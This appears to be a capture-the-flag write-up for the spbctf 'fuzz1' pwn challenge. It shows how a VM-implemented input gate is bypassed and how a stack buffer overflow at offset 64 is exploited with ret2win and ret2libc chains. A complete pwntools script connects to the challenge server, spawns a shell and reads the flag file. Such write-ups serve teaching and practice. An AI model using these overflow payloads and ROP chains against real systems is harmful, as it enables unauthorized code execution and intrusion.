fuzz1
fuzz1
Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-07-05 | Status: Solved Techniques: gate_bypass, ret2libc, ret2win, stack_alignment_ret_gadget, stack_buffer_overflow, vm_bytecode_disassembly
Summary
Task: CIL-generated bytecode-VM pwn binary; a VM gate ('13' prefix + exactly four dots) guards a classic fgets stack overflow with no canary/no PIE. Solution: disassemble the 374-byte VM program, pass the gate with '13....', overflow at offset 64 and ret2win to fukc()->system("sh").
fuzz1 — spbctf
Description
Fuzz for beginners.
nc 109.233.56.90 11781Files:fuzz1.elf,result.c(from https://pwn.spbctf.ru/files/fuzz/fuzz1/)
A CIL-generated bytecode-VM binary. It is a classic beginner stack buffer overflow,
but the vulnerable fgets is only reachable after passing a gate check that is
implemented inside a small stack virtual machine. The stated flag format was
CODEBY{...}, but the real server flag is SPBCTF{REDACTED}.
Analysis
Binary recon
file: ELF 64-bit LSB x86-64, dynamically linked, not stripped.checksec: No canary, No PIE (base0x400000), NX enabled, Partial RELRO. SHSTK/IBT are reported enabled but are not enforced on the remote — a plain return-address overwrite works fine.- Symbols of interest:
f1@0x401196— the VM interpreterfukc@0x4019c1— win gadget, doessystem("sh")(string"sh"@0x402248,systemPLT.sec @0x401090)main@0x4019dd
- Useful gadgets:
ret@0x40101a,pop rdi ; ret@0x401a83.
Source analysis (result.c)
main() reads only 16 bytes and hands them to the VM:
c read-only • copy allowedvoid main(void) { char buf[16]; printf("Enter1\n"); fgets(buf, 16, stdin); f1(buf); }
f1 is a stack-based bytecode virtual machine (CIL print_CIL_Input style). It
interprets the global byte array _1_f1_$array[1][374] with a switch-based dispatch
loop. Opcodes are an enum (load/store/constant/local/formal/global/goto/branchIfTrue/
Eq/Lt/PlusA/Mult/IndexPI/call/return, etc.), each encoded as one byte followed by a
4- or 8-byte little-endian operand.
I wrote a tiny Python disassembler (vm_disasm.py) to decode the 374-byte program by
locating the array in .data via its known prefix bytes. The decoded logic is
equivalent to:
c read-only • copy allowedcount = 0; i = 0; len = strlen(buf); // VM "call 1" -> strlen(locals+16) -> locals+28 for (i = 0; i < len; i++) if (buf[i] == '.') count++; if (count == 4) // exactly four dots if (buf[0] == '1') // '1' == 49 if (buf[1] == '3') // '3' == 51 fgets(&locals[40], 1000, stdin); // VM "call 2" -> OVERFLOW return 0;
So the gate to reach the vulnerable fgets is: the input to main() must contain
exactly four . characters and start with "13". The input 13....
satisfies all three conditions.
The vulnerability
The call 2 opcode handler in f1 runs:
c read-only • copy allowedfgets(*((char **)(_1_f1_$locals + 32)), 1000, *((FILE **)(_1_f1_$locals + 56)));
Trap: reading the C literally suggests the destination is locals+32. But the VM
first stores a pointer at locals+32 that points to locals+40 (opcodes
local 40 ; PlusPI ... ; store_void* -> locals[32]). So the real write target is
&locals[40].
_1_f1_$locals lives at rbp-0x60 (the local opcode handler uses
lea -0x60(%rbp) as its base, confirmed in the disassembly). Therefore:
dest = rbp - 0x60 + 40 = rbp - 0x38
saved RIP = rbp + 8
offset = 0x38 + 8 = 64 bytes
fgets(dest, 1000, stdin) reads up to 1000 bytes into rbp-0x38, smashing the saved
RBP and saved RIP. Offset from dest to saved RIP is 64 bytes (not 56/328 that a
naive locals+32/locals+40 reading might suggest — the pointer indirection is the
gotcha).
Solution
Everything travels over a single stdin, in two stages:
- Stage 1 (main's
fgets, 16 bytes):13....— passes the VM gate and reaches the innerfgets. - Stage 2 (f1's
fgets, 1000 bytes):b'A'*64 + p64(ret) + p64(fukc)ret = 0x40101a— a singleretfor 16-byte stack alignment beforesystem(avoids themovapsSIGSEGV).fukc = 0x4019c1—system("sh").
Then send shell commands (cat flag.txt). Flag is at /app/flag.txt on the remote.
An equivalent ret2libc chain also works remotely:
b'A'*64 + p64(ret) + p64(pop_rdi=0x401a83) + p64(sh=0x402248) + p64(system_plt=0x401090).
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * import time context.arch = 'amd64' HOST, PORT = '109.233.56.90', 11781 fukc = 0x4019c1 # system("sh") ret = 0x40101a # stack alignment pop_rdi = 0x401a83 sh = 0x402248 # "sh" system_plt = 0x401090 io = remote(HOST, PORT) io.recvuntil(b'Enter1') # banner # Stage 1: pass the VM gate ('13' prefix + exactly four dots) io.sendline(b'13....') # Stage 2: overflow at offset 64 -> ret2win payload = b'A' * 64 + p64(ret) + p64(fukc) # Equivalent ret2libc chain: # payload = b'A'*64 + p64(ret) + p64(pop_rdi) + p64(sh) + p64(system_plt) io.sendline(payload) time.sleep(0.5) io.sendline(b'cat flag* /app/flag* 2>/dev/null; ls -la') print(io.recvall(timeout=3).decode(errors='replace'))
Gotcha worth documenting
Local testing under Docker --platform linux/amd64 on an arm64 macOS host
(qemu-user emulation) corrupted register/syscall arguments, so both the fukc
jump and the ret2libc chain appeared to fail locally (SIGSEGV, garbled write()
syscall args) — even though RIP control at offset 64 was demonstrably correct (jumping
to main re-printed Enter1 twice). The exploit ran perfectly against the real
remote x86-64 on the first attempt.
Lesson: don't trust qemu-user emulation for system()/ret2libc validation.
Validate the overflow offset with a benign target (e.g. jump back to main), then
trust the remote.